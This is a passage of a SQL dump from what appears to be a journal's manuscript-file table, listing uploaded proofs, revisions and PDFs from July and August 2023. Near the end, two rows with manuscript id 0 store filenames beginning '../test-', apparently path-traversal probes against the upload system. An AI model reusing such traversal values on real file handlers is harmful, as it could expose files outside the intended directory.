09:55:58',1,1,0),(37661,13984,'13984-0-Manuscript-2023-07-29.docx',NULL,'2023-07-29 10:03:32',1,1,0),(37662,13953,'13953-Manuscript-2023-07-29-e7i0.pdf',NULL,'2023-07-29 10:08:43',1,3,1),(37663,13950,'13950-pr9b-Manuscript-proof-submission-2023-07-29.rar',NULL,'2023-07-29 10:44:13',1,3,0),(37664,13985,'13985-0-Manuscript-2023-07-29.docx',NULL,'2023-07-29 11:00:01',1,1,0),(37665,13986,'13986-0-Manuscript-2023-07-29.docx',NULL,'2023-07-29 11:12:22',1,1,0),(37666,13972,'13972-i8yr-Manuscript-proof-submission-2023-07-29.rar',NULL,'2023-07-29 11:43:26',1,3,0),(37667,13973,'13973-xaeo-Manuscript-proof-submission-2023-07-29.rar',NULL,'2023-07-29 12:35:00',1,3,0),(37668,13974,'13974-4nvh-Manuscript-proof-submission-2023-07-29.rar',NULL,'2023-07-29 12:37:29',1,3,0),(37669,13975,'13975-1ng6-Manuscript-proof-submission-2023-07-29.rar',NULL,'2023-07-29 12:37:56',1,3,0),(37670,13929,'13929-Manuscript-2023-07-29-fmz8-graphic-completed.pdf',NULL,'2023-07-29 12:45:44',1,3,0),(37671,13898,'13898-Manuscript-2023-07-29-xnsj-graphic-completed.pdf',NULL,'2023-07-29 12:45:56',1,3,0),(37672,13987,'13987-0-Manuscript-2023-07-29.docx',NULL,'2023-07-29 20:26:55',1,1,0),(37673,13988,'13988-0-Manuscript-2023-07-31.docx',NULL,'2023-07-31 09:22:23',1,1,0),(37674,13929,'13929-Manuscript-2023-07-31-ypc4.pdf',NULL,'2023-07-31 10:13:52',1,3,1),(37675,13898,'13898-Manuscript-2023-07-31-db13.pdf',NULL,'2023-07-31 10:14:36',1,3,1),(37676,13978,'13978-b0ue-Manuscript-proof-submission-2023-07-31.rar',NULL,'2023-07-31 10:38:36',1,3,0),(37677,13982,'13982-mwz4-Manuscript-proof-submission-2023-07-31.rar',NULL,'2023-07-31 11:00:51',1,3,0),(37678,13974,'13974-Manuscript-2023-07-31-p243-ap-team-revised.rar',NULL,'2023-07-31 11:28:51',1,3,1),(37679,13975,'13975-Manuscript-2023-07-31-1hcp-ap-team-revised.rar',NULL,'2023-07-31 11:29:27',1,3,1),(37680,13973,'13973-Manuscript-2023-07-31-y183-ap-team-revised.rar',NULL,'2023-07-31 11:29:52',1,3,1),(37681,13970,'13970-zq6v-Manuscript-proof-submission-2023-07-31.rar',NULL,'2023-07-31 11:34:43',1,3,0),(37682,13950,'13950-Manuscript-2023-07-31-f1m4-ap-team-revised.rar',NULL,'2023-07-31 11:51:31',1,3,1),(37683,13972,'13972-Manuscript-2023-07-31-6sri-ap-team-revised.rar',NULL,'2023-07-31 11:51:55',1,3,1),(37684,13978,'13978-Manuscript-2023-07-31-kjr4-ap-team-revised.rar',NULL,'2023-07-31 12:03:40',1,3,1),(37685,13982,'13982-Manuscript-2023-07-31-a8fv-ap-team-revised.rar',NULL,'2023-07-31 12:11:15',1,3,1),(37686,13842,'13842-8hvb-Manuscript-proof-submission-2023-07-31.rar',NULL,'2023-07-31 12:21:06',1,3,0),(37687,13842,'13842-Manuscript-2023-07-31-s0yc-ap-team-revised.rar',NULL,'2023-07-31 13:45:01',1,3,1),(37688,13976,'13976-rg1w-Manuscript-proof-submission-2023-07-31.rar',NULL,'2023-07-31 14:02:33',1,3,0),(37689,13842,'13842-Manuscript-2023-07-31-mrb4-move-pdf-making.pdf',NULL,'2023-07-31 15:43:50',1,3,0),(37690,13692,'13692-Manuscript-2023-07-31-0dks.pdf',NULL,'2023-07-31 16:44:56',1,3,0),(37691,13692,'13692-Manuscript-2023-07-31-o5eq.pdf',NULL,'2023-07-31 16:47:33',1,3,1),(37692,13693,'13693-Manuscript-2023-07-31-y819.pdf',NULL,'2023-07-31 16:48:28',1,3,1),(37693,13695,'13695-Manuscript-2023-07-31-9b16.pdf',NULL,'2023-07-31 16:50:51',1,3,1),(37694,13982,'13982-Manuscript-2023-07-31-u7p2-graphic-completed.pdf',NULL,'2023-07-31 17:05:08',1,3,0),(37695,13978,'13978-Manuscript-2023-07-31-c70g-graphic-completed.pdf',NULL,'2023-07-31 17:05:22',1,3,0),(37696,13972,'13972-Manuscript-2023-07-31-q7hv-graphic-completed.pdf',NULL,'2023-07-31 17:05:33',1,3,0),(37697,13950,'13950-Manuscript-2023-07-31-76st-graphic-completed.pdf',NULL,'2023-07-31 17:05:52',1,3,0),(37698,13842,'13842-Manuscript-2023-07-31-hzia.pdf',NULL,'2023-07-31 17:35:05',1,3,1),(37699,13989,'13989-0-Manuscript-2023-07-31.jpeg',NULL,'2023-08-01 04:06:08',1,1,0),(37700,13694,'13694-Manuscript-2023-08-01-qvsx.pdf',NULL,'2023-08-01 12:11:54',1,3,1),(37701,13562,'13562-Manuscript-2023-08-01-hvqe.pdf',NULL,'2023-08-01 12:54:59',1,3,1),(37702,13560,'13560-Manuscript-2023-08-01-r84p.pdf',NULL,'2023-08-01 12:56:54',1,3,0),(37703,13690,'13690-Manuscript-2023-08-01-18ro.pdf',NULL,'2023-08-01 12:59:13',1,3,1),(37704,13778,'13778-Manuscript-2023-08-01-dfjr-move-pdf-making.pdf',NULL,'2023-08-01 13:29:06',1,3,0),(37705,13779,'13779-Manuscript-2023-08-01-yf69-move-pdf-making.pdf',NULL,'2023-08-01 13:30:12',1,3,0),(37706,13780,'13780-Manuscript-2023-08-01-zout-move-pdf-making.pdf',NULL,'2023-08-01 13:31:11',1,3,0),(37707,13781,'13781-Manuscript-2023-08-01-lprz-move-pdf-making.pdf',NULL,'2023-08-01 13:32:27',1,3,0),(37708,13782,'13782-Manuscript-2023-08-01-sqla-move-pdf-making.pdf',NULL,'2023-08-01 13:33:20',1,3,0),(37709,13976,'13976-Manuscript-2023-08-01-luq1-ap-team-revised.rar',NULL,'2023-08-01 14:09:32',1,3,1),(37710,13967,'13967-k3tl-Manuscript-proof-submission-2023-08-01.rar',NULL,'2023-08-01 14:34:07',1,3,0),(37711,13982,'13982-Manuscript-2023-08-01-wnzy.pdf',NULL,'2023-08-01 15:20:12',1,3,1),(37712,13950,'13950-Manuscript-2023-08-01-lnug.pdf',NULL,'2023-08-01 15:25:54',1,3,1),(37713,13972,'13972-Manuscript-2023-08-01-7x3r.pdf',NULL,'2023-08-01 15:26:51',1,3,1),(37714,13978,'13978-Manuscript-2023-08-01-xl9f.pdf',NULL,'2023-08-01 15:28:13',1,3,1),(37715,13561,'13561-Manuscript-2023-08-01-6to1.pdf',NULL,'2023-08-01 15:31:37',1,3,1),(37716,13560,'13560-Manuscript-2023-08-01-ysux.pdf',NULL,'2023-08-01 15:32:11',1,3,1),(37717,13691,'13691-Manuscript-2023-08-01-l6ue.pdf',NULL,'2023-08-01 15:32:45',1,3,1),(37718,13970,'13970-Manuscript-2023-08-01-73no-ap-team-revised.rar',NULL,'2023-08-01 15:46:58',1,3,0),(37720,13985,'13985-bztk-Manuscript-proof-submission-2023-08-01.rar',NULL,'2023-08-01 17:10:55',1,3,0),(37721,13798,'13798-Manuscript-2023-08-02-4omb-move-pdf-making.pdf',NULL,'2023-08-02 09:43:04',1,3,0),(37722,13940,'13940-5oc7-Manuscript-proof-submission-2023-08-02.docx',NULL,'2023-08-02 10:14:38',1,3,0),(37723,13939,'13939-1e8g-Manuscript-proof-submission-2023-08-02.docx',NULL,'2023-08-02 10:16:40',1,3,0),(37724,13938,'13938-y5n0-Manuscript-proof-submission-2023-08-02.docx',NULL,'2023-08-02 10:17:07',1,3,0),(37725,13937,'13937-e6dx-Manuscript-proof-submission-2023-08-02.docx',NULL,'2023-08-02 10:17:37',1,3,0),(37726,13940,'13940-Manuscript-2023-08-02-865n-move-pdf-making.pdf',NULL,'2023-08-02 10:38:01',1,3,0),(37727,13939,'13939-Manuscript-2023-08-02-0exz-move-pdf-making.pdf',NULL,'2023-08-02 10:39:29',1,3,0),(37728,13938,'13938-Manuscript-2023-08-02-fc6y-move-pdf-making.pdf',NULL,'2023-08-02 10:40:35',1,3,0),(37729,13937,'13937-Manuscript-2023-08-02-xnw7-move-pdf-making.pdf',NULL,'2023-08-02 10:42:16',1,3,0),(37730,13986,'13986-9ya6-Manuscript-proof-submission-2023-08-02.rar',NULL,'2023-08-02 10:49:17',1,3,0),(37731,13809,'13809-Manuscript-2023-08-02-583x-move-pdf-making.pdf',NULL,'2023-08-02 11:13:38',1,3,0),(37732,13934,'13934-Manuscript-2023-08-02-14g6-move-pdf-making.pdf',NULL,'2023-08-02 11:14:21',1,3,0),(37733,13933,'13933-Manuscript-2023-08-02-oz0j-move-pdf-making.pdf',NULL,'2023-08-02 11:14:51',1,3,0),(37734,13932,'13932-Manuscript-2023-08-02-h37a-move-pdf-making.pdf',NULL,'2023-08-02 11:15:26',1,3,0),(37735,13935,'13935-Manuscript-2023-08-02-dyt7-move-pdf-making.pdf',NULL,'2023-08-02 11:15:55',1,3,0),(37736,13944,'13944-Manuscript-2023-08-02-gdtx-move-pdf-making.pdf',NULL,'2023-08-02 11:16:47',1,3,0),(37737,13946,'13946-Manuscript-2023-08-02-wc8l-move-pdf-making.pdf',NULL,'2023-08-02 11:17:35',1,3,0),(37738,13945,'13945-Manuscript-2023-08-02-ugz9-move-pdf-making.pdf',NULL,'2023-08-02 11:17:59',1,3,0),(37739,13947,'13947-Manuscript-2023-08-02-d1qb-move-pdf-making.pdf',NULL,'2023-08-02 11:18:54',1,3,0),(37740,13951,'13951-Manuscript-2023-08-02-gp54-move-pdf-making.pdf',NULL,'2023-08-02 11:19:25',1,3,0),(37741,13798,'13798-Manuscript-2023-08-02-kht3.pdf',NULL,'2023-08-02 12:03:38',1,3,1),(37742,13967,'13967-Manuscript-2023-08-02-tsxm-ap-team-revised.rar',NULL,'2023-08-02 12:05:03',1,3,1),(37743,13985,'13985-Manuscript-2023-08-02-gn74-ap-team-revised.rar',NULL,'2023-08-02 12:05:24',1,3,1),(37744,13986,'13986-Manuscript-2023-08-02-0bzd-ap-team-revised.rar',NULL,'2023-08-02 12:13:59',1,3,1),(37745,13809,'13809-Manuscript-2023-08-02-6ayp.pdf',NULL,'2023-08-02 13:58:27',1,3,0),(37746,13932,'13932-Manuscript-2023-08-02-vhks.pdf',NULL,'2023-08-02 14:00:50',1,3,0),(37747,13947,'13947-Manuscript-2023-08-02-rzp7.pdf',NULL,'2023-08-02 14:01:47',1,3,0),(37748,13935,'13935-Manuscript-2023-08-02-e4m9.pdf',NULL,'2023-08-02 14:02:50',1,3,0),(37749,13934,'13934-Manuscript-2023-08-02-emgz.pdf',NULL,'2023-08-02 14:03:45',1,3,0),(37750,13945,'13945-Manuscript-2023-08-02-4thb.pdf',NULL,'2023-08-02 14:04:53',1,3,0),(37751,13933,'13933-Manuscript-2023-08-02-ly97.pdf',NULL,'2023-08-02 14:07:01',1,3,0),(37752,13946,'13946-Manuscript-2023-08-02-rb56.pdf',NULL,'2023-08-02 14:08:01',1,3,0),(37753,13951,'13951-Manuscript-2023-08-02-zdy0.pdf',NULL,'2023-08-02 14:09:02',1,3,0),(37755,13985,'13985-Manuscript-2023-08-02-kvwq-graphic-completed.pdf',NULL,'2023-08-02 15:11:07',1,3,0),(37756,13986,'13986-Manuscript-2023-08-02-5utq-graphic-completed.pdf',NULL,'2023-08-02 15:11:19',1,3,0),(37757,13967,'13967-Manuscript-2023-08-02-cd9l-graphic-completed.pdf',NULL,'2023-08-02 15:11:37',1,3,0),(37758,13985,'13985-Manuscript-2023-08-02-rb4m.pdf',NULL,'2023-08-02 17:09:51',1,3,1),(37759,13967,'13967-Manuscript-2023-08-02-3eau.pdf',NULL,'2023-08-02 17:11:18',1,3,1),(37760,13986,'13986-Manuscript-2023-08-02-fr30.pdf',NULL,'2023-08-02 17:14:57',1,3,1),(37761,13992,'13992-0-Manuscript-2023-08-02.png',NULL,'2023-08-03 03:11:19',1,1,0),(37762,13892,'13892-5evh-Manuscript-proof-submission-2023-08-03.rar',NULL,'2023-08-03 09:57:10',1,3,0),(37763,13948,'13948-y4p8-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 10:01:40',1,3,0),(37764,13948,'13948-ruta-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 10:01:52',1,3,0),(37765,13948,'13948-lvcf-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 10:02:04',1,3,0),(37766,13948,'13948-380x-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 10:02:20',1,3,0),(37767,13892,'13892-Manuscript-2023-08-03-g1zv-ap-team-revised.rar',NULL,'2023-08-03 11:27:06',1,3,1),(37768,13896,'13896-qtk9-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 12:02:13',1,3,0),(37769,13885,'13885-2yv5-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 12:02:35',1,3,0),(37770,13884,'13884-r5h2-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 12:02:54',1,3,0),(37771,13883,'13883-cpaw-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 12:03:11',1,3,0),(37772,13882,'13882-vn3s-Manuscript-proof-submission-2023-08-03.docx',NULL,'2023-08-03 12:03:30',1,3,0),(37773,13911,'13911-Manuscript-2023-08-03-w6i2.pdf',NULL,'2023-08-03 14:37:37',1,3,0),(37774,13910,'13910-Manuscript-2023-08-03-itaz.pdf',NULL,'2023-08-03 14:38:05',1,3,0),(37775,13973,'13973-Manuscript-2023-08-03-6feb-move-pdf-making.pdf',NULL,'2023-08-03 15:26:58',1,3,0),(37776,13976,'13976-Manuscript-2023-08-03-qpie-move-pdf-making.pdf',NULL,'2023-08-03 15:30:52',1,3,0),(37777,13975,'13975-Manuscript-2023-08-03-djnf-move-pdf-making.pdf',NULL,'2023-08-03 15:32:08',1,3,0),(37778,13974,'13974-Manuscript-2023-08-03-1iv7-move-pdf-making.pdf',NULL,'2023-08-03 15:33:06',1,3,0),(37779,13768,'13768-Manuscript-2023-08-03-f83m-ap-team-revised.docx',NULL,'2023-08-03 15:46:50',1,3,0),(37780,13771,'13771-Manuscript-2023-08-03-w6h1-ap-team-revised.docx',NULL,'2023-08-03 15:48:14',1,3,0),(37781,13861,'13861-Manuscript-2023-08-03-alzq-ap-team-revised.docx',NULL,'2023-08-03 15:49:50',1,3,0),(37782,13867,'13867-Manuscript-2023-08-03-qs4x-ap-team-revised.docx',NULL,'2023-08-03 15:51:36',1,3,0),(37783,13868,'13868-Manuscript-2023-08-03-e1hn-ap-team-revised.docx',NULL,'2023-08-03 15:53:58',1,3,0),(37784,13768,'13768-Manuscript-2023-08-03-pbe1-move-pdf-making.pdf',NULL,'2023-08-03 16:39:13',1,3,0),(37785,13948,'13948-Manuscript-2023-08-03-tu4g-move-pdf-making.pdf',NULL,'2023-08-03 16:47:06',1,3,0),(37786,13768,'13768-Manuscript-2023-08-03-4glu-graphic-completed.pdf',NULL,'2023-08-03 17:02:16',1,3,0),(37787,13948,'13948-Manuscript-2023-08-03-sidx-move-pdf-making.docx',NULL,'2023-08-03 17:03:46',1,3,0),(37788,13771,'13771-Manuscript-2023-08-03-7zni-graphic-completed.pdf',NULL,'2023-08-03 17:04:06',1,3,0),(37789,13948,'13948-Manuscript-2023-08-03-txli-move-pdf-making.docx',NULL,'2023-08-03 17:06:25',1,3,0),(37790,13948,'13948-Manuscript-2023-08-03-5km0-move-pdf-making.docx',NULL,'2023-08-03 17:08:08',1,3,0),(37791,13861,'13861-Manuscript-2023-08-03-u1de-graphic-completed.pdf',NULL,'2023-08-03 17:08:11',1,3,0),(37792,13868,'13868-Manuscript-2023-08-03-okld-graphic-completed.pdf',NULL,'2023-08-03 17:09:22',1,3,0),(37793,13867,'13867-Manuscript-2023-08-03-dfqh-graphic-completed.pdf',NULL,'2023-08-03 17:10:47',1,3,0),(37794,13869,'13869-Manuscript-2023-08-03-4syp-move-pdf-making.rar',NULL,'2023-08-03 17:16:58',1,3,0),(37795,13869,'13869-Manuscript-2023-08-03-on62-move-pdf-making.pdf',NULL,'2023-08-03 17:17:36',1,3,0),(37796,13870,'13870-Manuscript-2023-08-03-kxm0-move-pdf-making.rar',NULL,'2023-08-03 17:19:32',1,3,0),(37797,13870,'13870-Manuscript-2023-08-03-c8md-move-pdf-making.pdf',NULL,'2023-08-03 17:20:05',1,3,0),(37798,13866,'13866-Manuscript-2023-08-03-k9sq-move-pdf-making.rar',NULL,'2023-08-03 17:24:31',1,3,0),(37799,13866,'13866-Manuscript-2023-08-03-wvm5-move-pdf-making.pdf',NULL,'2023-08-03 17:24:59',1,3,0),(37800,13865,'13865-Manuscript-2023-08-03-ephk-move-pdf-making.rar',NULL,'2023-08-03 17:27:02',1,3,0),(37801,13865,'13865-Manuscript-2023-08-03-mq2i-move-pdf-making.pdf',NULL,'2023-08-03 17:27:35',1,3,0),(37802,13944,'13944-Manuscript-2023-08-03-vqzu.pdf',NULL,'2023-08-03 17:45:38',1,3,0),(37803,13863,'13863-Manuscript-2023-08-04-tag6-move-pdf-making.rar',NULL,'2023-08-04 10:12:56',1,3,0),(37804,13863,'13863-Manuscript-2023-08-04-oi4e-move-pdf-making.pdf',NULL,'2023-08-04 10:13:27',1,3,0),(37805,13993,'13993-0-Manuscript-2023-08-04.docx',NULL,'2023-08-04 10:23:14',1,1,0),(37806,13994,'13994-0-Manuscript-2023-08-04.docx',NULL,'2023-08-04 10:28:16',1,1,0),(37807,13862,'13862-Manuscript-2023-08-04-y5b2.rar',NULL,'2023-08-04 10:34:24',1,3,0),(37808,13862,'13862-Manuscript-2023-08-04-ktuy.pdf',NULL,'2023-08-04 10:34:49',1,3,0),(37809,13864,'13864-Manuscript-2023-08-04-ujlk.rar',NULL,'2023-08-04 10:35:31',1,3,0),(37810,13864,'13864-Manuscript-2023-08-04-laz2.pdf',NULL,'2023-08-04 10:35:49',1,3,0),(37811,13865,'13865-Manuscript-2023-08-04-sfnx.pdf',NULL,'2023-08-04 10:45:29',1,3,0),(37812,13866,'13866-Manuscript-2023-08-04-4ax5.pdf',NULL,'2023-08-04 10:48:44',1,3,0),(37813,13869,'13869-Manuscript-2023-08-04-mft9.pdf',NULL,'2023-08-04 10:54:23',1,3,0),(37814,13870,'13870-Manuscript-2023-08-04-5lf0.pdf',NULL,'2023-08-04 10:56:41',1,3,0),(37815,13859,'13859-wihl-Manuscript-proof-submission-2023-08-04.docx',NULL,'2023-08-04 11:08:47',1,3,0),(37816,13850,'13850-1t3j-Manuscript-proof-submission-2023-08-04.rar',NULL,'2023-08-04 11:10:22',1,3,0),(37817,13848,'13848-9801-Manuscript-proof-submission-2023-08-04.rar',NULL,'2023-08-04 11:11:22',1,3,0),(37818,13862,'13862-Manuscript-2023-08-04-qjlg.pdf',NULL,'2023-08-04 11:15:08',1,3,0),(37819,13863,'13863-Manuscript-2023-08-04-7bj4.pdf',NULL,'2023-08-04 11:19:15',1,3,0),(37820,13864,'13864-Manuscript-2023-08-04-yokz.pdf',NULL,'2023-08-04 11:23:27',1,3,0),(37821,13995,'13995-0-Manuscript-2023-08-04.docx',NULL,'2023-08-04 11:34:09',1,1,0),(37822,13877,'13877-Manuscript-2023-08-04-ec8n-move-pdf-making.pdf',NULL,'2023-08-04 13:57:19',1,3,0),(37823,13876,'13876-Manuscript-2023-08-04-0r54-move-pdf-making.pdf',NULL,'2023-08-04 13:57:43',1,3,0),(37824,13974,'13974-Manuscript-2023-08-04-d82t.pdf',NULL,'2023-08-04 14:43:35',1,3,1),(37825,13975,'13975-Manuscript-2023-08-04-gfs7.pdf',NULL,'2023-08-04 14:45:17',1,3,1),(37826,13976,'13976-Manuscript-2023-08-04-4ndb.pdf',NULL,'2023-08-04 14:51:09',1,3,0),(37827,13976,'13976-Manuscript-2023-08-04-bf85.pdf',NULL,'2023-08-04 14:57:27',1,3,1),(37828,13973,'13973-Manuscript-2023-08-04-bi9m.pdf',NULL,'2023-08-04 14:58:42',1,3,1),(37829,13892,'13892-Manuscript-2023-08-04-gmsd-move-pdf-making.pdf',NULL,'2023-08-04 15:11:24',1,3,0),(37830,13877,'13877-Manuscript-2023-08-04-rlnq.pdf',NULL,'2023-08-04 15:54:33',1,3,0),(37831,13876,'13876-Manuscript-2023-08-04-svr7.pdf',NULL,'2023-08-04 15:55:30',1,3,0),(37832,13892,'13892-Manuscript-2023-08-04-7hjf.pdf',NULL,'2023-08-04 15:57:40',1,3,1),(37833,13941,'13941-0ifu-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:38:14',1,3,0),(37834,13942,'13942-l9z4-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:38:56',1,3,0),(37835,13943,'13943-4zpy-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:39:46',1,3,0),(37836,13956,'13956-2bne-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:40:33',1,3,0),(37837,13957,'13957-i1ed-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:41:19',1,3,0),(37838,13958,'13958-y5rk-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:42:09',1,3,0),(37839,13959,'13959-8t2z-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 10:42:38',1,3,0),(37840,13959,'13959-Manuscript-2023-08-05-mxd1-ap-team-revised.rar',NULL,'2023-08-05 11:35:59',1,3,1),(37841,13956,'13956-Manuscript-2023-08-05-lxy9-ap-team-revised.rar',NULL,'2023-08-05 11:36:23',1,3,1),(37842,13943,'13943-Manuscript-2023-08-05-1b75-ap-team-revised.rar',NULL,'2023-08-05 11:36:47',1,3,1),(37843,13942,'13942-Manuscript-2023-08-05-isk7-ap-team-revised.rar',NULL,'2023-08-05 11:37:14',1,3,1),(37844,13957,'13957-Manuscript-2023-08-05-vyk9-ap-team-revised.rar',NULL,'2023-08-05 11:37:36',1,3,1),(37845,13941,'13941-Manuscript-2023-08-05-1a0l-ap-team-revised.rar',NULL,'2023-08-05 11:38:02',1,3,1),(37846,13958,'13958-Manuscript-2023-08-05-tnaz-ap-team-revised.rar',NULL,'2023-08-05 11:38:34',1,3,1),(37847,13995,'13995-avh9-Manuscript-proof-submission-2023-08-05.rar',NULL,'2023-08-05 12:39:59',1,3,0),(37848,13996,'13996-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 09:33:58',1,1,0),(37849,13995,'13995-Manuscript-2023-08-07-gxfb-ap-team-revised.rar',NULL,'2023-08-07 09:47:18',1,3,0),(37850,13997,'13997-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 09:49:36',1,1,0),(37851,13998,'13998-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 09:52:00',1,1,0),(37852,13999,'13999-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 09:55:01',1,1,0),(37853,14000,'14000-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 09:59:51',1,1,0),(37854,14001,'14001-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 10:01:50',1,1,0),(37855,14002,'14002-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 10:04:25',1,1,0),(37856,14003,'14003-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 10:08:10',1,1,0),(37857,14004,'14004-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 10:10:51',1,1,0),(37858,14005,'14005-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 10:16:22',1,1,0),(37859,13993,'13993-6a4s-Manuscript-proof-submission-2023-08-07.rar',NULL,'2023-08-07 12:16:24',1,3,0),(37860,11951,'11951-h5tu-Manuscript-proof-submission-2023-08-07.rar',NULL,'2023-08-07 13:06:10',1,3,0),(37861,13994,'13994-qad3-Manuscript-proof-submission-2023-08-07.rar',NULL,'2023-08-07 13:06:48',1,3,0),(37862,13993,'13993-Manuscript-2023-08-07-1p2y-ap-team-revised.rar',NULL,'2023-08-07 13:11:45',1,3,1),(37863,14006,'14006-0-Manuscript-2023-08-07.docx',NULL,'2023-08-07 13:12:50',1,1,0),(37864,13994,'13994-Manuscript-2023-08-07-4mhw-ap-team-revised.rar',NULL,'2023-08-07 13:13:50',1,3,1),(37865,13941,'13941-Manuscript-2023-08-07-ypfn-move-pdf-making.pdf',NULL,'2023-08-07 15:31:11',1,3,0),(37866,13943,'13943-Manuscript-2023-08-07-1op3-move-pdf-making.pdf',NULL,'2023-08-07 15:31:48',1,3,0),(37867,13942,'13942-Manuscript-2023-08-07-yhz9-move-pdf-making.pdf',NULL,'2023-08-07 15:32:20',1,3,0),(37868,13958,'13958-Manuscript-2023-08-07-n50y-move-pdf-making.pdf',NULL,'2023-08-07 15:32:50',1,3,0),(37869,13957,'13957-Manuscript-2023-08-07-vtjx-move-pdf-making.pdf',NULL,'2023-08-07 15:33:25',1,3,0),(37870,13956,'13956-Manuscript-2023-08-07-5l0r-move-pdf-making.pdf',NULL,'2023-08-07 15:34:01',1,3,0),(37871,13959,'13959-Manuscript-2023-08-07-x3ma-move-pdf-making.pdf',NULL,'2023-08-07 15:34:37',1,3,0),(37872,13994,'13994-Manuscript-2023-08-07-vwsi-move-pdf-making.pdf',NULL,'2023-08-07 16:36:49',1,3,0),(37873,13993,'13993-Manuscript-2023-08-07-qt0f-move-pdf-making.pdf',NULL,'2023-08-07 16:37:12',1,3,0),(37874,13993,'13993-Manuscript-2023-08-07-82jf.pdf',NULL,'2023-08-07 17:34:36',1,3,1),(37875,13994,'13994-Manuscript-2023-08-07-dc5m.pdf',NULL,'2023-08-07 17:35:35',1,3,1),(37876,13959,'13959-Manuscript-2023-08-07-x782.pdf',NULL,'2023-08-07 17:36:30',1,3,1),(37877,13956,'13956-Manuscript-2023-08-07-0ym9.pdf',NULL,'2023-08-07 17:37:26',1,3,1),(37878,13957,'13957-Manuscript-2023-08-07-u30o.pdf',NULL,'2023-08-07 17:38:39',1,3,1),(37879,13943,'13943-Manuscript-2023-08-07-ghc8.pdf',NULL,'2023-08-07 17:39:58',1,3,1),(37880,13942,'13942-Manuscript-2023-08-07-3zrl.pdf',NULL,'2023-08-07 17:41:03',1,3,1),(37881,13941,'13941-Manuscript-2023-08-07-j7nt.pdf',NULL,'2023-08-07 17:41:49',1,3,1),(37882,13958,'13958-Manuscript-2023-08-07-9r2j.pdf',NULL,'2023-08-07 17:43:02',1,3,1),(37883,13971,'13971-ypwt-Manuscript-proof-submission-2023-08-08.rar',NULL,'2023-08-08 12:19:41',1,3,0),(37884,13970,'13970-Manuscript-2023-08-08-r94k-graphic-completed.pdf',NULL,'2023-08-08 14:03:57',1,3,0),(37885,14007,'14007-0-Manuscript-2023-08-08.docx',NULL,'2023-08-08 14:45:00',1,1,0),(37886,14008,'14008-0-Manuscript-2023-08-08.docx',NULL,'2023-08-08 14:46:50',1,1,0),(37887,14009,'14009-0-Manuscript-2023-08-08.docx',NULL,'2023-08-08 14:49:00',1,1,0),(37888,14010,'14010-0-Manuscript-2023-08-08.docx',NULL,'2023-08-08 14:51:05',1,1,0),(37889,14011,'14011-0-Manuscript-2023-08-08.docx',NULL,'2023-08-08 14:53:20',1,1,0),(37890,13995,'13995-Manuscript-2023-08-08-j9oy-graphic-completed.pdf',NULL,'2023-08-08 15:02:41',1,3,0),(37891,13995,'13995-Manuscript-2023-08-08-6iwz.pdf',NULL,'2023-08-08 16:38:53',1,3,0),(37892,14012,'14012-0-Manuscript-2023-08-09.docx',NULL,'2023-08-09 09:17:43',1,1,0),(37893,14013,'14013-0-Manuscript-2023-08-09.docx',NULL,'2023-08-09 09:26:08',1,1,0),(37894,13971,'13971-sgv4-Manuscript-proof-submission-2023-08-09.rar',NULL,'2023-08-09 09:54:33',1,3,0),(37895,14014,'14014-0-Manuscript-2023-08-09.docx',NULL,'2023-08-09 11:04:37',1,1,0),(37896,14015,'14015-0-Manuscript-2023-08-09.docx',NULL,'2023-08-09 11:58:42',1,1,0),(37897,13971,'13971-Manuscript-2023-08-09-4870-ap-team-revised.rar',NULL,'2023-08-09 13:55:43',1,3,0),(37898,13936,'13936-4lpx-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:36:35',1,3,0),(37899,13918,'13918-uf6o-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:38:02',1,3,0),(37900,13919,'13919-ksl1-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:38:50',1,3,0),(37901,13920,'13920-b8lk-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:39:20',1,3,0),(37902,13921,'13921-n5ka-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:40:03',1,3,0),(37903,13924,'13924-mz0l-Manuscript-proof-submission-2023-08-09.docx',NULL,'2023-08-09 15:41:54',1,3,0),(37904,14016,'14016-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 14:59:07',1,1,0),(37905,14017,'14017-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 15:01:58',1,1,0),(37906,14018,'14018-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 15:04:16',1,1,0),(37907,14019,'14019-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 15:06:18',1,1,0),(37908,14020,'14020-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 15:08:04',1,1,0),(37909,14021,'14021-0-Manuscript-2023-08-10.docx',NULL,'2023-08-10 23:34:39',1,1,0),(37910,13754,'13754-k8me-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:31:47',1,1,0),(37911,0,'../test-elbz-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:33:12',1,1,0),(37912,0,'..test-6kv5-Manuscript-2023-08-11.png',NULL,'2023-08-11 